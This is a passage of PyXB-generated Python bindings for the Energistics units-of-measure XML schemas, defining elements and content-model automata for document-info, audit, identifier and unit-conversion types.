securityInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Comment'), pyxb.binding.datatypes.string, scope=securityInfoType, documentation='\nA general comment to further define the security class.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 224, 2)))
def _BuildAutomaton_2 ():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_2
del _BuildAutomaton_2
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 209, 2))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 217, 2))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 224, 2))
counters.add(cc_2)
states = []
final_update = set()
symbol = pyxb.binding.content.ElementUse(securityInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Class')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 200, 2))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(securityInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'System')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 209, 2))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(securityInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'EndDate')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 217, 2))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(securityInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Comment')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 224, 2))
st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_3)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
transitions.append(fac.Transition(st_2, [
]))
transitions.append(fac.Transition(st_3, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True) ]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False) ]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, True) ]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False) ]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, True) ]))
st_3._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
securityInfoType._Automaton = _BuildAutomaton_2()
auditType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Event'), eventType, scope=auditType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 242, 2)))
def _BuildAutomaton_3 ():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_3
del _BuildAutomaton_3
import pyxb.utils.fac as fac
counters = set()
states = []
final_update = set()
symbol = pyxb.binding.content.ElementUse(auditType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Event')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 242, 2))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
auditType._Automaton = _BuildAutomaton_3()
eventType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'EventDate'), expandedDateTime, scope=eventType, documentation='\nThe date on which the event took place.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 254, 2)))
eventType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'ResponsiblePartyRef'), referenceToType, scope=eventType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 269, 3)))
eventType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'ResponsiblePartyID'), pyxb.binding.datatypes.string, scope=eventType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 270, 3)))
eventType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Comment'), pyxb.binding.datatypes.string, scope=eventType, documentation='\nA free form comment that can further define the event that occurred.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 272, 2)))
def _BuildAutomaton_4 ():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_4
del _BuildAutomaton_4
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 261, 2))
counters.add(cc_0)
states = []
final_update = None
symbol = pyxb.binding.content.ElementUse(eventType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'EventDate')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 254, 2))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_0)
final_update = None
symbol = pyxb.binding.content.ElementUse(eventType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'ResponsiblePartyRef')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 269, 3))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_1)
final_update = None
symbol = pyxb.binding.content.ElementUse(eventType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'ResponsiblePartyID')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 270, 3))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_2)
final_update = set()
symbol = pyxb.binding.content.ElementUse(eventType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Comment')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 272, 2))
st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_3)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
transitions.append(fac.Transition(st_2, [
]))
transitions.append(fac.Transition(st_3, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True) ]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, True) ]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False) ]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True) ]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, True) ]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False) ]))
st_2._set_transitionSet(transitions)
transitions = []
st_3._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
eventType._Automaton = _BuildAutomaton_4()
abstractFeatureType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Text'), pyxb.binding.datatypes.string, scope=abstractFeatureType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 284, 4)))
def _BuildAutomaton_5 ():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_5
del _BuildAutomaton_5
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 284, 4))
counters.add(cc_0)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(abstractFeatureType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Text')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 284, 4))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True) ]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
abstractFeatureType._Automaton = _BuildAutomaton_5()
identifierType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Name'), pyxb.binding.datatypes.string, scope=identifierType, documentation='\nThe name of the object being identified. It may or may not be a unique name, depending on the use of this type. When used as an "identifier," it should be a unique name, within the naming system. When used as an "alias," the name is not required to be unique.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 299, 4)))
identifierType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'NamingSystem'), pyxb.binding.datatypes.string, scope=identifierType, documentation="\nThe naming system under which the name is defined. For example, if the name is a person's social security number, the naming system would be SSN, or some equivalent code which represents that the name is a social security number. Since naming system may be a code, there are two attributes (nameRef and systemList), which may be used to lead an application to a registry, where meaning can be obtained for the code. \n ", location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 307, 6)))
identifierType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Version'), pyxb.binding.datatypes.string, scope=identifierType, documentation='\nWhen a naming system is declared, it may be further qualified by giving a version of the\nnaming system. This is needed only when a group puts out a new set of names that are not\nbackward compatible with a previous list.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 314, 6)))
identifierType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Comment'), pyxb.binding.datatypes.string, scope=identifierType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 324, 4)))
def _BuildAutomaton_6 ():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_6
del _BuildAutomaton_6
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 306, 4))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 314, 6))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 324, 4))
counters.add(cc_2)
states = []
final_update = set()
symbol = pyxb.binding.content.ElementUse(identifierType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Name')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 299, 4))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(identifierType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'NamingSystem')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 307, 6))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(identifierType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Version')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 314, 6))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(identifierType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Comment')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 324, 4))
st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_3)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
transitions.append(fac.Transition(st_3, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True) ]))
transitions.append(fac.Transition(st_2, [
]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False) ]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True),
fac.UpdateInstruction(cc_1, False) ]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, True) ]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False),
fac.UpdateInstruction(cc_1, False) ]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, True) ]))
st_3._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
identifierType._Automaton = _BuildAutomaton_6()
CTD_ANON._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'DocumentInformation'), documentInfoType, scope=CTD_ANON, documentation='\nA standard name for an element of type documentInfoType. Other names may be \nused at the discretion of the developer.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 24, 0)))
CTD_ANON._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'UnitsDefinition'), CTD_ANON_, scope=CTD_ANON, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 28, 6)))
def _BuildAutomaton_7 ():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_7
del _BuildAutomaton_7
import pyxb.utils.fac as fac
counters = set()
states = []
final_update = None
symbol = pyxb.binding.content.ElementUse(CTD_ANON._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'DocumentInformation')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 27, 6))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_0)
final_update = set()
symbol = pyxb.binding.content.ElementUse(CTD_ANON._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'UnitsDefinition')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 28, 6))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_1)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
st_0._set_transitionSet(transitions)
transitions = []
st_1._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
CTD_ANON._Automaton = _BuildAutomaton_7()
CTD_ANON_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'UnitOfMeasure'), unitDictionaryType, scope=CTD_ANON_, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 31, 12)))
def _BuildAutomaton_8 ():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_8
del _BuildAutomaton_8
import pyxb.utils.fac as fac
counters = set()
states = []
final_update = set()
symbol = pyxb.binding.content.ElementUse(CTD_ANON_._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'UnitOfMeasure')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 31, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
CTD_ANON_._Automaton = _BuildAutomaton_8()
baseUnitType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Description'), pyxb.binding.datatypes.string, scope=baseUnitType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 327, 2)))
baseUnitType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'BasicAuthority'), pyxb.binding.datatypes.string, scope=baseUnitType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 328, 2)))
def _BuildAutomaton_9 ():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_9
del _BuildAutomaton_9
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 327, 2))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 328, 2))
counters.add(cc_1)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(baseUnitType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Description')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 327, 2))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(baseUnitType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'BasicAuthority')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 328, 2))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_1)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True) ]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False) ]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True) ]))
st_1._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
baseUnitType._Automaton = _BuildAutomaton_9()
compositeUnitType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'UnitTerm'), CTD_ANON_2, scope=compositeUnitType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 358, 4)))
def _BuildAutomaton_10 ():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_10
del _BuildAutomaton_10
import pyxb.utils.fac as fac
counters = set()
states = []
final_update = set()
symbol = pyxb.binding.content.ElementUse(compositeUnitType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'UnitTerm')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 358, 4))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
compositeUnitType._Automaton = _BuildAutomaton_10()
conversionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Description'), pyxb.binding.datatypes.string, scope=conversionType, documentation='\nA definition, description, or other comment about the unit of measure.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 377, 2)))
conversionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Factor'), pyxb.binding.datatypes.double, scope=conversionType, documentation='\nIf A = D = 0, and C = 1, the value of B becomes a factor. For example, \nthe conversion of an international foot to a metre is with Factor=".3048"\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 385, 4)))
conversionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Fraction'), CTD_ANON_3, scope=conversionType, documentation="\nIf A = D = 0, B and C represent a fraction. For example, the conversion of a \nUS Survey foot to a metre is given with the fraction of 12 / 39.37. Hence,\n Numerator = '12', Denominator = '39.37'\n ", location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 393, 4)))
conversionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Formula'), CTD_ANON_4, scope=conversionType, documentation='\nA few units of measure do not have a factor or fraction. For example the \nconversion from degrees Celcius to Kelvin is given as degK = 273.15 + degC. \nHence, A = "273.15", B = "1.", C = "1.", D = "0."\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 408, 4)))
def _BuildAutomaton_11 ():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_11
del _BuildAutomaton_11
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 377, 2))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 426, 2))
counters.add(cc_1)
states = []
final_update = None
symbol = pyxb.binding.content.ElementUse(conversionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Description')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 377, 2))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_0)
final_update = set()
symbol = pyxb.binding.content.ElementUse(conversionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Factor')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 385, 4))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_1)
final_update = set()
symbol = pyxb.binding.content.ElementUse(conversionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Fraction')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 393, 4))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_2)
final_update = set()
symbol = pyxb.binding.content.ElementUse(conversionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Formula')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 408, 4))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(conversionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Description')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 426, 2))
st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_4)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True) ]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False) ]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, True) ]))
st_4._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
conversionType._Automaton = _BuildAutomaton_11()
CTD_ANON_3._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Numerator'), pyxb.binding.datatypes.double, scope=CTD_ANON_3, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 403, 8)))
CTD_ANON_3._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Denominator'), pyxb.binding.datatypes.double, scope=CTD_ANON_3, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 404, 8)))
def _BuildAutomaton_12 ():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_12
del _BuildAutomaton_12
import pyxb.utils.fac as fac
counters = set()
states = []
final_update = None
symbol = pyxb.binding.content.ElementUse(CTD_ANON_3._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Numerator')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 403, 8))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_0)
final_update = set()
symbol = pyxb.binding.content.ElementUse(CTD_ANON_3._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Denominator')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 404, 8))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_1)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
st_0._set_transitionSet(transitions)
transitions = []
st_1._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
CTD_ANON_3._Automaton = _BuildAutomaton_12()
CTD_ANON_4._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'A'), pyxb.binding.datatypes.double, scope=CTD_ANON_4, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 418, 8)))
CTD_ANON_4._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'B'), pyxb.binding.datatypes.double, scope=CTD_ANON_4, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 419, 8)))
CTD_ANON_4._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'C'), pyxb.binding.datatypes.double, scope=CTD_ANON_4, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 420, 8)))
CTD_ANON_4._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'D'), pyxb.binding.datatypes.double, scope=CTD_ANON_4, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 421, 8)))
def _BuildAutomaton_13 ():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_13
del _BuildAutomaton_13
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 418, 8))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 421, 8))
counters.add(cc_1)
states = []
final_update = None
symbol = pyxb.binding.content.ElementUse(CTD_ANON_4._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'A')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 418, 8))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_0)
final_update = None
symbol = pyxb.binding.content.ElementUse(CTD_ANON_4._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'B')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 419, 8))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_1)
final_update = set()
symbol = pyxb.binding.content.ElementUse(CTD_ANON_4._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'C')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 420, 8))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(CTD_ANON_4._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'D')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 421, 8))
st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_3)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True) ]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False) ]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, True) ]))
st_3._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
CTD_ANON_4._Automaton = _BuildAutomaton_13()
displayType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'sup'), pyxb.binding.datatypes.string, scope=displayType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 450, 4)))
